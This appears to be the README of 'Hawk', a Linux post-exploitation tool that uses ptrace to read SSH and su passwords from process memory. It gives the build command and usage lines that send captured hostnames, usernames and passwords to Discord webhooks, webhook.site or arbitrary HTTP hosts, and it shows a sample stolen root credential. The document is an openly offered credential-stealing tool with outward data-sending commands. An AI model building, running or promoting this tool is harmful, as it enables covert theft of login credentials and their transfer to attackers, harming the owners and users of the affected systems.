Demo

Example

How It Works

Hawk leverages Linux's /proc filesystem to discover SSH and SU processes, then uses ptrace to attach and intercept syscalls. When password authentication occurs, it reads the password directly from process memory during the write() syscall—completely transparent to the target process. Credentials are exfiltrated via webhook or printed to stdout.

Build

GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk

Usage

Discord Webhook

Hawk automatically detects Discord webhooks and sends formatted messages:

./hawk https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN

Setup: Create a webhook in your Discord server following Discord's webhook guide. Credentials will appear in your channel formatted with hostname, username, and password.

Generic Webhooks

For other webhook services (webhook.site, custom servers, etc.):

# HTTPS (auto-detected)
./hawk https://webhook.site/your-unique-id

# HTTP
./hawk http://192.168.1.100:6969/webhook

# Auto HTTPS if no protocol specified
./hawk webhook.example.com/path

Stdout Mode

No webhook? Credentials print to stdout:

./hawk

Output:

hostname=server01 username=root password=SuperSecret123

Requirements

Linux system with ptrace enabled
/proc filesystem mounted
Root privileges (required for ptrace)
